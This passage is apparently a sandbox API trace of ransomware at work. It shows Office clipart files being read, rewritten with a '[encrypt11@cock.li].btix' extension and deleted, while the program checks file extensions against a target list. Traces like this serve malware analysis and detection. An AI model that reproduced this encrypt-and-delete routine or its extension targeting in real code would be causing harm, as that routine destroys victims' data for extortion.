nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xe60, lpOverlapped=0x0) returned 1 [0157.610] WriteFile (in: hFile=0x3a0, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xe70, lpOverlapped=0x0) returned 1 [0157.611] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.611] WriteFile (in: hFile=0x3a0, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.611] SetEndOfFile (hFile=0x3a0) returned 1 [0157.615] CloseHandle (hObject=0x3a0) returned 1 [0157.617] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.617] SetEndOfFile (hFile=0x354) returned 1 [0157.621] CloseHandle (hObject=0x354) returned 1 [0157.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString=".doc") returned 4 [0157.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString=".docx") returned 5 [0157.624] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.624] lstrlenW (lpString=".pdf") returned 4 [0157.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString=".xls") returned 4 [0157.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.624] lstrlenW (lpString=".xlsx") returned 5 [0157.624] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.624] lstrlenW (lpString=".ppt") returned 4 [0157.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString=".zip") returned 4 [0157.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.624] lstrlenW (lpString=".rar") returned 4 [0157.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString=".bz2") returned 4 [0157.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString=".7z") returned 3 [0157.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString=".dbf") returned 4 [0157.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString=".1cd") returned 4 [0157.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195772.WMF") returned 68 [0157.624] lstrlenW (lpString=".jpg") returned 4 [0157.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.625] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.625] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.627] GetLastError () returned 0x0 [0157.627] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x14ce, lpOverlapped=0x0) returned 1 [0157.631] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0157.632] ReadFile (in: hFile=0x378, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.632] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.632] SetEndOfFile (hFile=0x354) returned 1 [0157.637] CloseHandle (hObject=0x354) returned 1 [0157.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.638] SetEndOfFile (hFile=0x378) returned 1 [0157.640] CloseHandle (hObject=0x378) returned 1 [0157.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0157.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.641] lstrlenW (lpString=".doc") returned 4 [0157.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.641] lstrlenW (lpString=".docx") returned 5 [0157.641] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.641] lstrlenW (lpString=".pdf") returned 4 [0157.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.641] lstrlenW (lpString=".xls") returned 4 [0157.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.641] lstrlenW (lpString=".xlsx") returned 5 [0157.641] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.641] lstrlenW (lpString=".ppt") returned 4 [0157.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.642] lstrlenW (lpString=".zip") returned 4 [0157.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.642] lstrlenW (lpString=".rar") returned 4 [0157.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.642] lstrlenW (lpString=".bz2") returned 4 [0157.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.642] lstrlenW (lpString=".7z") returned 3 [0157.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.642] lstrlenW (lpString=".dbf") returned 4 [0157.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.642] lstrlenW (lpString=".1cd") returned 4 [0157.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0157.642] lstrlenW (lpString=".jpg") returned 4 [0157.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.644] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.644] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.645] GetLastError () returned 0x0 [0157.645] ReadFile (in: hFile=0x368, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1b00, lpOverlapped=0x0) returned 1 [0157.655] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0157.656] ReadFile (in: hFile=0x368, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.656] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.656] SetEndOfFile (hFile=0x380) returned 1 [0157.656] CloseHandle (hObject=0x380) returned 1 [0157.656] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.656] SetEndOfFile (hFile=0x368) returned 1 [0157.657] CloseHandle (hObject=0x368) returned 1 [0157.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf")) returned 1 [0157.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.658] lstrlenW (lpString=".doc") returned 4 [0157.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString=".docx") returned 5 [0157.658] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.658] lstrlenW (lpString=".pdf") returned 4 [0157.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString=".xls") returned 4 [0157.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.658] lstrlenW (lpString=".xlsx") returned 5 [0157.658] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.658] lstrlenW (lpString=".ppt") returned 4 [0157.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.658] lstrlenW (lpString=".zip") returned 4 [0157.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.658] lstrlenW (lpString=".rar") returned 4 [0157.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString=".bz2") returned 4 [0157.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString=".7z") returned 3 [0157.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.658] lstrlenW (lpString=".dbf") returned 4 [0157.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.658] lstrlenW (lpString=".1cd") returned 4 [0157.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0157.659] lstrlenW (lpString=".jpg") returned 4 [0157.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.660] GetLastError () returned 0x0 [0157.660] ReadFile (in: hFile=0x368, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x9d26, lpOverlapped=0x0) returned 1 [0157.670] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0157.671] ReadFile (in: hFile=0x368, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.671] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.671] SetEndOfFile (hFile=0x380) returned 1 [0157.674] CloseHandle (hObject=0x380) returned 1 [0157.675] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.675] SetEndOfFile (hFile=0x368) returned 1 [0157.678] CloseHandle (hObject=0x368) returned 1 [0157.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.681] lstrlenW (lpString=".doc") returned 4 [0157.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".docx") returned 5 [0157.681] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.681] lstrlenW (lpString=".pdf") returned 4 [0157.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString=".xls") returned 4 [0157.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.681] lstrlenW (lpString=".xlsx") returned 5 [0157.681] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.681] lstrlenW (lpString=".ppt") returned 4 [0157.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.682] lstrlenW (lpString=".zip") returned 4 [0157.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.682] lstrlenW (lpString=".rar") returned 4 [0157.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString=".bz2") returned 4 [0157.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString=".7z") returned 3 [0157.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.682] lstrlenW (lpString=".dbf") returned 4 [0157.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.682] lstrlenW (lpString=".1cd") returned 4 [0157.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0157.682] lstrlenW (lpString=".jpg") returned 4 [0157.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.685] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.685] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.688] GetLastError () returned 0x0 [0157.688] ReadFile (in: hFile=0x39c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5cae, lpOverlapped=0x0) returned 1 [0157.692] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5cb0, lpOverlapped=0x0) returned 1 [0157.693] ReadFile (in: hFile=0x39c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.693] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.693] SetEndOfFile (hFile=0x378) returned 1 [0157.698] CloseHandle (hObject=0x378) returned 1 [0157.700] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.700] SetEndOfFile (hFile=0x39c) returned 1 [0157.705] CloseHandle (hObject=0x39c) returned 1 [0157.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198020.wmf")) returned 1 [0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.708] lstrlenW (lpString=".doc") returned 4 [0157.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".docx") returned 5 [0157.708] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.708] lstrlenW (lpString=".pdf") returned 4 [0157.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".xls") returned 4 [0157.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.708] lstrlenW (lpString=".xlsx") returned 5 [0157.708] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.708] lstrlenW (lpString=".ppt") returned 4 [0157.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.708] lstrlenW (lpString=".zip") returned 4 [0157.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.708] lstrlenW (lpString=".rar") returned 4 [0157.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".bz2") returned 4 [0157.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString=".7z") returned 3 [0157.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.708] lstrlenW (lpString=".dbf") returned 4 [0157.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.708] lstrlenW (lpString=".1cd") returned 4 [0157.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198020.WMF") returned 68 [0157.709] lstrlenW (lpString=".jpg") returned 4 [0157.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.713] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.713] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.716] GetLastError () returned 0x0 [0157.716] ReadFile (in: hFile=0x380, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3cce, lpOverlapped=0x0) returned 1 [0157.719] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3cd0, lpOverlapped=0x0) returned 1 [0157.720] ReadFile (in: hFile=0x380, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.720] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.720] SetEndOfFile (hFile=0x354) returned 1 [0157.722] CloseHandle (hObject=0x354) returned 1 [0157.724] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.724] SetEndOfFile (hFile=0x380) returned 1 [0157.734] CloseHandle (hObject=0x380) returned 1 [0157.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198025.wmf")) returned 1 [0157.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.739] lstrlenW (lpString=".doc") returned 4 [0157.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.739] lstrlenW (lpString=".docx") returned 5 [0157.739] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0157.739] lstrlenW (lpString=".pdf") returned 4 